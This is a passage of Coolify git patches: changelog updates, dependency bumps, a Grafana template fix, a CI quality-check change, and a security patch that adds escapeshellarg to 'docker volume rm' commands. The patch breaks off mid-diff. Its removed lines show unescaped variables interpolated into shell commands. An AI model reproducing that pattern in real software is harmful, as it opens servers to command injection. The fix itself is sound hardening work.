relationship +- *(service)* Resolve team lookup via service relationship (#8559) +- *(database)* Chown redis/keydb configs when custom conf set (#8561) +- *(version)* Update coolify version to 4.0.0-beta.464 and nightly version to 4.0.0-beta.465 +- *(applications)* Treat zero private_key_id as deploy key (#8563) +- *(deploy)* Split BuildKit and secrets detection (#8565) +- *(auth)* Prevent CSRF redirect loop during 2FA challenge (#8596) +- *(input)* Prevent eye icon flash on password fields before Alpine.js loads (#8599) +- *(api)* Correct permission requirements for POST endpoints (#8600) +- *(health-checks)* Prevent command injection in health check commands (#8611) +- *(auth)* Prevent cross-tenant IDOR in resource cloning (#8613) +- *(docker)* Centralize command escaping in executeInDocker helper (#8615) +- *(api)* Add team authorization to domains_by_server endpoint (#8616) +- *(ca-cert)* Prevent command injection via base64 encoding (#8617) +- *(scheduler)* Add self-healing for stale Redis locks and detection in UI (#8618) +- *(health-checks)* Sanitize and validate CMD healthcheck commands +- *(healthchecks)* Remove redundant newline sanitization from CMD healthcheck +- *(soketi)* Make host binding configurable for IPv6 support (#8619) +- *(ssh)* Automatically fix SSH directory permissions during upgrade (#8635) +- *(jobs)* Prevent non-due jobs firing on restart and enrich skip logs with resource links +- *(database)* Close confirmation modal after import/restore +- Application rollback uses correct commit sha +- *(rollback)* Escape commit SHA to prevent shell injection +- Save comment field when creating application environment variables +- Allow editing comments on locked environment variables +- Add Update button for locked environment variable comments +- Remove duplicate delete button from locked environment variable view +- Position Update button next to comment field for locked variables +- Preserve existing comments in bulk update and always show save notification +- Update success message logic to only show when changes are made +- *(bootstrap)* Add bounds check to extractBalancedBraceContent +- Pydio-cells svg path typo +- *(database)* Handle PDO constant name change for PGSQL_ATTR_DISABLE_PREPARES +- *(proxy)* Handle IPv6 CIDR notation in Docker network gateways (#8703) +- *(ssh)* Prevent RCE via SSH command injection (#8748) +- *(service)* Cloudreve doesn't persist data across restarts +- *(service)* Cloudreve doesn't persist data across restarts (#8740) +- Join link should be set correctly in the env variables +- *(service)* Ente photos join link doesn't work (#8727) +- *(subscription)* Harden quantity updates and proxy trust behavior +- *(auth)* Resolve 419 session errors with domain-based access and Cloudflare Tunnels (#8749) +- *(server)* Handle limit edge case and IPv6 allowlist dedupe +- *(server-limit)* Re-enable force-disabled servers at limit +- *(ip-allowlist)* Add IPv6 CIDR support for API access restrictions (#8750) +- *(proxy)* Remove ipv6 cidr network remediation +- Address review feedback on proxy timeout +- *(proxy)* Add validation and normalization for database proxy timeout +- *(proxy)* Mounting error for nginx.conf in dev +- Enable preview deployment page for deploy key applications +- *(application-source)* Support localhost key with id=0 +- Enable preview deployment page for deploy key applications (#8579) +- *(docker-compose)* Respect preserveRepository setting when executing start command (#8848) +- *(proxy)* Mounting error for nginx.conf in dev (#8662) +- *(database)* Close confirmation modal after database import/restore (#8697) +- *(subscription)* Use optional chaining for preview object access +- *(parser)* Use firstOrCreate instead of updateOrCreate for environment variables +- *(env-parser)* Capture clean variable names without trailing braces in bash-style defaults (#8855) +- *(terminal)* Resolve WebSocket connection and host authorization issues (#8862) +- *(docker-cleanup)* Respect keep for rollback setting for Nixpacks build images (#8859) +- *(push-server)* Track last_online_at and reset database restart state +- *(docker)* Prevent false container exits on failed docker queries (#8860) +- *(api)* Require write permission for validation endpoints +- *(sentinel)* Add token validation to prevent command injection +- *(log-drain)* Prevent command injection by base64-encoding environment variables +- *(git-ref-validation)* Prevent command injection via git references +- *(docker)* Add path validation to prevent command injection in file locations +- Prevent command injection and fix developer view shared variables error (#8889) +- Build-time environment variables break Next.js (#8890) +- *(modal)* Make confirmation modal close after dispatching Livewire actions (#8892) +- *(parser)* Preserve user-saved env vars on Docker Compose redeploy (#8894) +- *(security)* Sanitize newlines in health check commands to prevent RCE (#8898) +- Prevent scheduled task input fields from losing focus +- Prevent scheduled task input fields from losing focus (#8654) +- *(api)* Add docker_cleanup parameter to stop endpoints +- *(api)* Add docker_cleanup parameter to stop endpoints (#8899) +- *(deployment)* Filter null and empty environment variables from nixpacks plan +- *(deployment)* Filter null and empty environment variables from nixpacks plan (#8902) +- *(livewire)* Add error handling and selectedActions to delete methods (#8909) +- *(parsers)* Use firstOrCreate instead of updateOrCreate for environment variables +- *(parsers)* Use firstOrCreate instead of updateOrCreate for environment variables (#8915) +- *(ssh)* Remove undefined trackSshRetryEvent() method call (#8927) +- *(validation)* Support scoped packages in file path validation (#8928) +- *(parsers)* Resolve shared variables in compose environment +- *(parsers)* Resolve shared variables in compose environment (#8930) +- *(api)* Cast teamId to int in deployment authorization check +- *(api)* Cast teamId to int in deployment authorization check (#8931) +- *(git-import)* Ensure ssh key is used for fetch, submodule, and lfs operations (#8933) +- *(ui)* Info logs were not highlighted with blue color +- *(application)* Clarify deployment type precedence logic +- *(git-import)* Explicitly specify ssh key and remove duplicate validation rules +- *(application)* Clarify deployment type precedence logic (#8934) +- *(git)* GitHub App webhook endpoint defaults to IPv4 instead of the instance domain +- *(git)* GitHub App webhook endpoint defaults to IPv4 instead of the instance domain (#8948) +- *(service)* Hoppscotch fails to start due to db unhealthy +- *(service)* Hoppscotch fails to start due to db unhealthy (#8949) +- *(api)* Allow is_container_label_escape_enabled in service operations (#8955) +- *(docker-compose)* Respect preserveRepository when injecting --project-directory +- *(docker-compose)* Respect preserveRepository when injecting --project-directory (#8956) ### 💼 Other @@ -4982,6 +5146,11 @@ ### 💼 Other - Bump superset to 6.0.0 - Trim whitespace from domain input in instance settings (#7837) - Upgrade postgres client to fix build error +- Application rollback uses correct commit sha (#8576) +- *(deps)* Bump rollup from 4.57.1 to 4.59.0 +- *(deps)* Bump rollup from 4.57.1 to 4.59.0 (#8691) +- *(deps)* Bump league/commonmark from 2.8.0 to 2.8.1 +- *(deps)* Bump league/commonmark from 2.8.0 to 2.8.1 (#8793) ### 🚜 Refactor @@ -5610,6 +5779,12 @@ ### 🚜 Refactor - *(services)* Improve some service slogans - *(ssh-retry)* Remove Sentry tracking from retry logic - *(ssh-retry)* Remove Sentry tracking from retry logic +- *(jobs)* Split task skip checks into critical and runtime phases +- Add explicit fillable array to EnvironmentVariable model +- Replace inline note with callout component for consistency +- *(application-source)* Use Laravel helpers for null checks +- *(ssh)* Remove Sentry retry event tracking from ExecuteRemoteCommand +- Consolidate file path validation patterns and support scoped packages ### 📚 Documentation @@ -5756,6 +5931,12 @@ ### 📚 Documentation - Add Coolify design system reference (#8237) - Update changelog - Update changelog +- Update changelog +- *(sponsors)* Add huge sponsors section and reorganize list +- *(application)* Add comments explaining commit selection logic for rollback support +- *(readme)* Add VPSDime to Big Sponsors list +- *(readme)* Move MVPS to Huge Sponsors section +- *(settings)* Clarify Do Not Track helper text ### ⚡ Performance @@ -5797,6 +5978,10 @@ ### 🧪 Testing - Add Pest browser testing with SQLite :memory: schema - Add dashboard test and improve browser test coverage - Migrate to SQLite :memory: and add Pest browser testing (#8364) +- *(rollback)* Use full-length git commit SHA values in test fixtures +- *(rollback)* Verify shell metacharacter escaping in git commit parameter +- *(factories)* Add missing model factories for app test suite +- *(magic-variables)* Add feature tests for SERVICE_URL/FQDN variable handling ### ⚙️ Miscellaneous Tasks @@ -6533,6 +6718,63 @@ ### ⚙️ Miscellaneous Tasks - Prepare for PR - Prepare for PR - Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(scheduler)* Fix scheduled job duration metric (#8551) +- Prepare for PR +- Prepare for PR +- *(horizon)* Make max time configurable (#8560) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(ui)* Widen project heading nav spacing (#8564) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Add pr quality check workflow +- Do not build or generate changelog on pr-quality changes +- Add pr quality check via anti slop action (#8344) +- Improve pr quality workflow +- Delete label removal workflow +- Improve pr quality workflow (#8374) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(repo)* Improve contributor PR template +- Add anti-slop v0.2 options to the pr-quality check +- Improve pr template and quality check workflow (#8574) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(ui)* Add labels header +- *(ui)* Add container labels header (#8752) +- *(templates)* Update n8n templates to 2.10.2 (#8679) +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(version)* Bump coolify, realtime, and sentinel versions +- *(realtime)* Upgrade npm dependencies +- *(realtime)* Upgrade coolify-realtime to 1.0.11 +- Prepare for PR +- Prepare for PR +- Prepare for PR +- *(release)* Bump version to 4.0.0-beta.466 +- Prepare for PR +- Prepare for PR +- *(service)* Pin castopod service to a static version instead of latest ### ◀️ Revert From 82b4a2b6b00e1672aabc3491ec6a614062dd3067 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 16 Mar 2026 16:51:52 +0000 Subject: [PATCH 23/95] docs: update changelog --- CHANGELOG.md | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 45cbd48d2..999af79b8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1285,6 +1285,9 @@ ### 🚀 Features - *(compose-preview)* Populate fqdn from docker_compose_domains (#8963) - *(server)* Auto-fetch server metadata after validation - *(server)* Auto-fetch server metadata after validation (#8964) +- *(templates)* Add imgcompress service, for offline image processing (#8763) +- *(service)* Add librespeed (#8626) +- *(service)* Update databasus to v3.16.2 (#8586) ### 🐛 Bug Fixes @@ -4681,6 +4684,9 @@ ### 🐛 Bug Fixes - *(api)* Allow is_container_label_escape_enabled in service operations (#8955) - *(docker-compose)* Respect preserveRepository when injecting --project-directory - *(docker-compose)* Respect preserveRepository when injecting --project-directory (#8956) +- *(compose)* Include git branch in compose file not found error +- *(template)* Fix heyform template +- *(template)* Fix heyform template (#8747) ### 💼 Other @@ -5937,6 +5943,7 @@ ### 📚 Documentation - *(readme)* Add VPSDime to Big Sponsors list - *(readme)* Move MVPS to Huge Sponsors section - *(settings)* Clarify Do Not Track helper text +- Update changelog ### ⚡ Performance @@ -6775,6 +6782,10 @@ ### ⚙️ Miscellaneous Tasks - Prepare for PR - Prepare for PR - *(service)* Pin castopod service to a static version instead of latest +- *(service)* Remove unused attributes on imgcompress service +- *(service)* Pin imgcompress to a static version instead of latest +- *(service)* Update SeaweedFS images to version 4.13 (#8738) +- *(templates)* Bump databasus image version ### ◀️ Revert From 0627dce4da77e6165d780cf61773243cfa9ad60c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 19 Mar 2026 17:15:02 +0000 Subject: [PATCH 24/95] build(deps): bump phpseclib/phpseclib from 3.0.49 to 3.0.50 Bumps [phpseclib/phpseclib](https://github.com/phpseclib/phpseclib) from 3.0.49 to 3.0.50. - [Release notes](https://github.com/phpseclib/phpseclib/releases) - [Changelog](https://github.com/phpseclib/phpseclib/blob/master/CHANGELOG.md) - [Commits](https://github.com/phpseclib/phpseclib/compare/3.0.49...3.0.50) --- updated-dependencies: - dependency-name: phpseclib/phpseclib dependency-version: 3.0.50 dependency-type: direct:production ... Signed-off-by: dependabot[bot] --- composer.lock | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/composer.lock b/composer.lock index 993835a42..3b1f4eded 100644 --- a/composer.lock +++ b/composer.lock @@ -5061,16 +5061,16 @@ }, { "name": "phpseclib/phpseclib", - "version": "3.0.49", + "version": "3.0.50", "source": { "type": "git", "url": "https://github.com/phpseclib/phpseclib.git", - "reference": "6233a1e12584754e6b5daa69fe1289b47775c1b9" + "reference": "aa6ad8321ed103dc3624fb600a25b66ebf78ec7b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/6233a1e12584754e6b5daa69fe1289b47775c1b9", - "reference": "6233a1e12584754e6b5daa69fe1289b47775c1b9", + "url": "https://api.github.com/repos/phpseclib/phpseclib/zipball/aa6ad8321ed103dc3624fb600a25b66ebf78ec7b", + "reference": "aa6ad8321ed103dc3624fb600a25b66ebf78ec7b", "shasum": "" }, "require": { @@ -5151,7 +5151,7 @@ ], "support": { "issues": "https://github.com/phpseclib/phpseclib/issues", - "source": "https://github.com/phpseclib/phpseclib/tree/3.0.49" + "source": "https://github.com/phpseclib/phpseclib/tree/3.0.50" }, "funding": [ { @@ -5167,7 +5167,7 @@ "type": "tidelift" } ], - "time": "2026-01-27T09:17:28+00:00" + "time": "2026-03-19T02:57:58+00:00" }, { "name": "phpstan/phpdoc-parser", From a7f07f66e3adf808f95c4ab5eed320bd640df462 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 19 Mar 2026 22:50:11 +0000 Subject: [PATCH 25/95] build(deps): bump league/commonmark from 2.8.1 to 2.8.2 Bumps [league/commonmark](https://github.com/thephpleague/commonmark) from 2.8.1 to 2.8.2. - [Release notes](https://github.com/thephpleague/commonmark/releases) - [Changelog](https://github.com/thephpleague/commonmark/blob/2.8/CHANGELOG.md) - [Commits](https://github.com/thephpleague/commonmark/compare/2.8.1...2.8.2) --- updated-dependencies: - dependency-name: league/commonmark dependency-version: 2.8.2 dependency-type: indirect ... Signed-off-by: dependabot[bot] --- composer.lock | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/composer.lock b/composer.lock index 993835a42..534b418fe 100644 --- a/composer.lock +++ b/composer.lock @@ -2663,16 +2663,16 @@ }, { "name": "league/commonmark", - "version": "2.8.1", + "version": "2.8.2", "source": { "type": "git", "url": "https://github.com/thephpleague/commonmark.git", - "reference": "84b1ca48347efdbe775426f108622a42735a6579" + "reference": "59fb075d2101740c337c7216e3f32b36c204218b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/84b1ca48347efdbe775426f108622a42735a6579", - "reference": "84b1ca48347efdbe775426f108622a42735a6579", + "url": "https://api.github.com/repos/thephpleague/commonmark/zipball/59fb075d2101740c337c7216e3f32b36c204218b", + "reference": "59fb075d2101740c337c7216e3f32b36c204218b", "shasum": "" }, "require": { @@ -2766,7 +2766,7 @@ "type": "tidelift" } ], - "time": "2026-03-05T21:37:03+00:00" + "time": "2026-03-19T13:16:38+00:00" }, { "name": "league/config", From 95351eba8939d321e26139fa0636693730fe1e69 Mon Sep 17 00:00:00 2001 From: Xidik Date: Sun, 22 Mar 2026 22:04:22 +0700 Subject: [PATCH 26/95] fix(service): use FQDN instead of URL for Grafana GF_SERVER_DOMAIN GF_SERVER_DOMAIN expects a bare hostname (e.g. grafana.example.com) but was set to SERVICE_URL_GRAFANA which includes the protocol (https://grafana.example.com). This mismatch can cause Grafana to fail to load its application files when deployed behind Coolify's proxy. Changed to SERVICE_FQDN_GRAFANA which provides just the hostname. Applied the fix to both grafana.yaml and grafana-with-postgresql.yaml templates. Fixes #5307 --- templates/compose/grafana-with-postgresql.yaml | 2 +- templates/compose/grafana.yaml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/templates/compose/grafana-with-postgresql.yaml b/templates/compose/grafana-with-postgresql.yaml index 25add4cc2..6c5dda659 100644 --- a/templates/compose/grafana-with-postgresql.yaml +++ b/templates/compose/grafana-with-postgresql.yaml @@ -11,7 +11,7 @@ services: environment: - SERVICE_URL_GRAFANA_3000 - GF_SERVER_ROOT_URL=${SERVICE_URL_GRAFANA} - - GF_SERVER_DOMAIN=${SERVICE_URL_GRAFANA} + - GF_SERVER_DOMAIN=${SERVICE_FQDN_GRAFANA} - GF_SECURITY_ADMIN_PASSWORD=${SERVICE_PASSWORD_GRAFANA} - GF_DATABASE_TYPE=postgres - GF_DATABASE_HOST=postgresql diff --git a/templates/compose/grafana.yaml b/templates/compose/grafana.yaml index a570c6c79..ed1689f58 100644 --- a/templates/compose/grafana.yaml +++ b/templates/compose/grafana.yaml @@ -11,7 +11,7 @@ services: environment: - SERVICE_URL_GRAFANA_3000 - GF_SERVER_ROOT_URL=${SERVICE_URL_GRAFANA} - - GF_SERVER_DOMAIN=${SERVICE_URL_GRAFANA} + - GF_SERVER_DOMAIN=${SERVICE_FQDN_GRAFANA} - GF_SECURITY_ADMIN_PASSWORD=${SERVICE_PASSWORD_GRAFANA} volumes: - grafana-data:/var/lib/grafana From ffd69c1b545078cc63982effdca81b6d861aada6 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=F0=9F=8F=94=EF=B8=8F=20Peak?= <122374094+peaklabs-dev@users.noreply.github.com> Date: Mon, 23 Mar 2026 22:45:18 +0100 Subject: [PATCH 27/95] ci: update pr-quality.yaml --- .github/workflows/pr-quality.yaml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/.github/workflows/pr-quality.yaml b/.github/workflows/pr-quality.yaml index 594724fdb..45a695ddc 100644 --- a/.github/workflows/pr-quality.yaml +++ b/.github/workflows/pr-quality.yaml @@ -40,7 +40,10 @@ jobs: max-emoji-count: 2 max-code-references: 5 require-linked-issue: false - blocked-terms: "STRAWBERRY" + blocked-terms: | + STRAWBERRY + 🤖 Generated with Claude Code + Generated with Claude Code blocked-issue-numbers: 8154 # PR Template Checks @@ -97,7 +100,7 @@ jobs: exempt-pr-milestones: "" # PR Success Actions - success-add-pr-labels: "quality/verified" + success-add-pr-labels: "" # PR Failure Actions failure-remove-pr-labels: "" From 9db06444f316d5ac4c33f489f3d32ebe01d8f975 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 24 Mar 2026 19:18:36 +0000 Subject: [PATCH 28/95] docs: update changelog --- CHANGELOG.md | 55 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 999af79b8..8cd7287f3 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1288,6 +1288,20 @@ ### 🚀 Features - *(templates)* Add imgcompress service, for offline image processing (#8763) - *(service)* Add librespeed (#8626) - *(service)* Update databasus to v3.16.2 (#8586) +- *(preview)* Add configurable PR suffix toggle for volumes +- *(api)* Add storages endpoints for applications +- *(api)* Expand update_storage to support name, mount_path, host_path, content fields +- *(environment-variable)* Add placeholder hint for magic variables +- *(subscription)* Display next billing date and billing interval +- *(api)* Support comments in bulk environment variable endpoints +- *(api)* Add database environment variable management endpoints +- *(storage)* Add resources tab and improve S3 deletion handling +- *(storage)* Group backups by database and filter by s3 status +- *(storage)* Add storage management for backup schedules +- *(jobs)* Add cache-based deduplication for delayed cron execution +- *(storage)* Add storage endpoints and UUID support for databases and services +- *(monitoring)* Add Laravel Nightwatch monitoring support +- *(validation)* Make hostname validation case-insensitive and expand allowed characters ### 🐛 Bug Fixes @@ -4687,6 +4701,29 @@ ### 🐛 Bug Fixes - *(compose)* Include git branch in compose file not found error - *(template)* Fix heyform template - *(template)* Fix heyform template (#8747) +- *(preview)* Exclude bind mounts from preview deployment suffix +- *(preview)* Sync isPreviewSuffixEnabled property on file storage save +- *(storages)* Hide PR suffix for services and fix instantSave logic +- *(preview)* Enable per-volume control of PR suffix in preview deployments (#9006) +- Prevent sporadic SSH permission denied by validating key content +- *(ssh)* Handle chmod failures gracefully and simplify key management +- Prevent sporadic SSH permission denied on key rotation (#8990) +- *(stripe)* Add error handling and resilience to subscription operations +- *(stripe)* Add error handling and resilience to subscription operations (#9030) +- *(api)* Extract resource UUIDs from route parameters +- *(backup)* Throw explicit error when S3 storage missing or deleted (#9038) +- *(docker)* Skip cleanup stale warning on cloud instances +- *(deployment)* Disable build server during restart operations +- *(deployment)* Disable build server during restart operations (#9045) +- *(docker)* Log failed cleanup attempts when server is not functional +- *(environment-variable)* Guard refresh against missing or stale variables +- *(github-webhook)* Handle unsupported event types gracefully +- *(github-webhook)* Handle unsupported event types gracefully (#9119) +- *(deployment)* Properly escape shell arguments in nixpacks commands +- *(deployment)* Properly escape shell arguments in nixpacks commands (#9122) +- *(validation)* Make hostname validation case-insensitive and expand allowed name characters (#9134) +- *(team)* Resolve server limit checks for API token authentication (#9123) +- *(subscription)* Prevent duplicate subscriptions with updateOrCreate ### 💼 Other @@ -5791,6 +5828,13 @@ ### 🚜 Refactor - *(application-source)* Use Laravel helpers for null checks - *(ssh)* Remove Sentry retry event tracking from ExecuteRemoteCommand - Consolidate file path validation patterns and support scoped packages +- *(environment-variable)* Remove buildtime/runtime options and improve comment field +- Remove verbose logging and use explicit exception types +- *(breadcrumb)* Optimize queries and simplify state management +- *(scheduler)* Extract cron scheduling logic to shared helper +- *(team)* Make server limit methods accept optional team parameter +- *(team)* Update serverOverflow to use static serverLimit +- *(docker)* Simplify installation and remove version pinning ### 📚 Documentation @@ -5944,6 +5988,10 @@ ### 📚 Documentation - *(readme)* Move MVPS to Huge Sponsors section - *(settings)* Clarify Do Not Track helper text - Update changelog +- Update changelog +- *(sponsors)* Add ScreenshotOne as a huge sponsor +- *(sponsors)* Update Brand.dev to Context.dev +- *(readme)* Add PetroSky Cloud to sponsors ### ⚡ Performance @@ -5954,6 +6002,7 @@ ### ⚡ Performance - Remove dead server filtering code from Kernel scheduler (#7585) - *(server)* Optimize destinationsByServer query - *(server)* Optimize destinationsByServer query (#7854) +- *(breadcrumb)* Optimize queries and simplify navigation to fix OOM (#9048) ### 🎨 Styling @@ -5966,6 +6015,7 @@ ### 🎨 Styling - *(campfire)* Format environment variables for better readability in Docker Compose file - *(campfire)* Update comment for DISABLE_SSL environment variable for clarity - Update background colors to use gray-50 for consistency in auth views +- *(modal-confirmation)* Improve mobile responsiveness ### 🧪 Testing @@ -5989,6 +6039,7 @@ ### 🧪 Testing - *(rollback)* Verify shell metacharacter escaping in git commit parameter - *(factories)* Add missing model factories for app test suite - *(magic-variables)* Add feature tests for SERVICE_URL/FQDN variable handling +- Add behavioral ssh key stale-file regression ### ⚙️ Miscellaneous Tasks @@ -6786,6 +6837,10 @@ ### ⚙️ Miscellaneous Tasks - *(service)* Pin imgcompress to a static version instead of latest - *(service)* Update SeaweedFS images to version 4.13 (#8738) - *(templates)* Bump databasus image version +- Remove coolify-examples-1 submodule +- *(versions)* Bump coolify, sentinel, and traefik versions +- *(versions)* Bump sentinel to 0.0.21 +- *(service)* Disable Booklore service (#9105) ### ◀️ Revert From b22e470877129ce4a787c0fa639a00999faac17c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 26 Mar 2026 00:53:57 +0000 Subject: [PATCH 29/95] chore(deps): bump picomatch Bumps and [picomatch](https://github.com/micromatch/picomatch). These dependencies needed to be updated together. Updates `picomatch` from 4.0.3 to 4.0.4 - [Release notes](https://github.com/micromatch/picomatch/releases) - [Changelog](https://github.com/micromatch/picomatch/blob/master/CHANGELOG.md) - [Commits](https://github.com/micromatch/picomatch/compare/4.0.3...4.0.4) Updates `picomatch` from 2.3.1 to 2.3.2 - [Release notes](https://github.com/micromatch/picomatch/releases) - [Changelog](https://github.com/micromatch/picomatch/blob/master/CHANGELOG.md) - [Commits](https://github.com/micromatch/picomatch/compare/4.0.3...4.0.4) --- updated-dependencies: - dependency-name: picomatch dependency-version: 4.0.4 dependency-type: indirect - dependency-name: picomatch dependency-version: 2.3.2 dependency-type: indirect ... Signed-off-by: dependabot[bot] --- package-lock.json | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/package-lock.json b/package-lock.json index 3c9753bb8..6959704a1 100644 --- a/package-lock.json +++ b/package-lock.json @@ -2388,9 +2388,9 @@ "license": "ISC" }, "node_modules/picomatch": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz", - "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==", + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", + "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", "dev": true, "license": "MIT", "engines": { @@ -2795,9 +2795,9 @@ } }, "node_modules/vite-plugin-full-reload/node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", "dev": true, "license": "MIT", "engines": { From d2064dd4998694cda2eabd00149f7c4d1e94c699 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 26 Mar 2026 11:06:30 +0100 Subject: [PATCH 30/95] fix(storage): use escapeshellarg for volume names in shell commands Add proper shell escaping for persistent volume names when used in docker volume rm commands. Also add volume name validation pattern to ValidationPatterns for consistent input checking. Co-Authored-By: Claude Opus 4.6 --- app/Actions/Service/DeleteService.php | 2 +- app/Livewire/Project/Service/Storage.php | 5 +- app/Models/Application.php | 2 +- app/Models/ApplicationPreview.php | 2 +- app/Models/StandaloneClickhouse.php | 2 +- app/Models/StandaloneDragonfly.php | 2 +- app/Models/StandaloneKeydb.php | 2 +- app/Models/StandaloneMariadb.php | 2 +- app/Models/StandaloneMongodb.php | 2 +- app/Models/StandaloneMysql.php | 2 +- app/Models/StandalonePostgresql.php | 2 +- app/Models/StandaloneRedis.php | 2 +- app/Support/ValidationPatterns.php | 37 ++++++++ tests/Unit/PersistentVolumeSecurityTest.php | 98 +++++++++++++++++++++ 14 files changed, 149 insertions(+), 13 deletions(-) create mode 100644 tests/Unit/PersistentVolumeSecurityTest.php diff --git a/app/Actions/Service/DeleteService.php b/app/Actions/Service/DeleteService.php index 8790901cd..460600d69 100644 --- a/app/Actions/Service/DeleteService.php +++ b/app/Actions/Service/DeleteService.php @@ -33,7 +33,7 @@ public function handle(Service $service, bool $deleteVolumes, bool $deleteConnec } } foreach ($storagesToDelete as $storage) { - $commands[] = "docker volume rm -f $storage->name"; + $commands[] = 'docker volume rm -f '.escapeshellarg($storage->name); } // Execute volume deletion first, this must be done first otherwise volumes will not be deleted. diff --git a/app/Livewire/Project/Service/Storage.php b/app/Livewire/Project/Service/Storage.php index e896f060a..433c2b13c 100644 --- a/app/Livewire/Project/Service/Storage.php +++ b/app/Livewire/Project/Service/Storage.php @@ -5,6 +5,7 @@ use App\Models\Application; use App\Models\LocalFileVolume; use App\Models\LocalPersistentVolume; +use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -103,10 +104,10 @@ public function submitPersistentVolume() $this->authorize('update', $this->resource); $this->validate([ - 'name' => 'required|string', + 'name' => ValidationPatterns::volumeNameRules(), 'mount_path' => 'required|string', 'host_path' => $this->isSwarm ? 'required|string' : 'string|nullable', - ]); + ], ValidationPatterns::volumeNameMessages()); $name = $this->resource->uuid.'-'.$this->name; diff --git a/app/Models/Application.php b/app/Models/Application.php index 4cc2dcf74..c446052b3 100644 --- a/app/Models/Application.php +++ b/app/Models/Application.php @@ -390,7 +390,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } } diff --git a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index 3b7bf3030..b8a8a5a85 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -37,7 +37,7 @@ protected static function booted() $persistentStorages = $preview->persistentStorages()->get() ?? collect(); if ($persistentStorages->count() > 0) { foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } } diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index 33f32dd59..143aadb6a 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -135,7 +135,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index 074c5b509..c823c305b 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -135,7 +135,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index 23b4c65e6..f286e8538 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -135,7 +135,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git 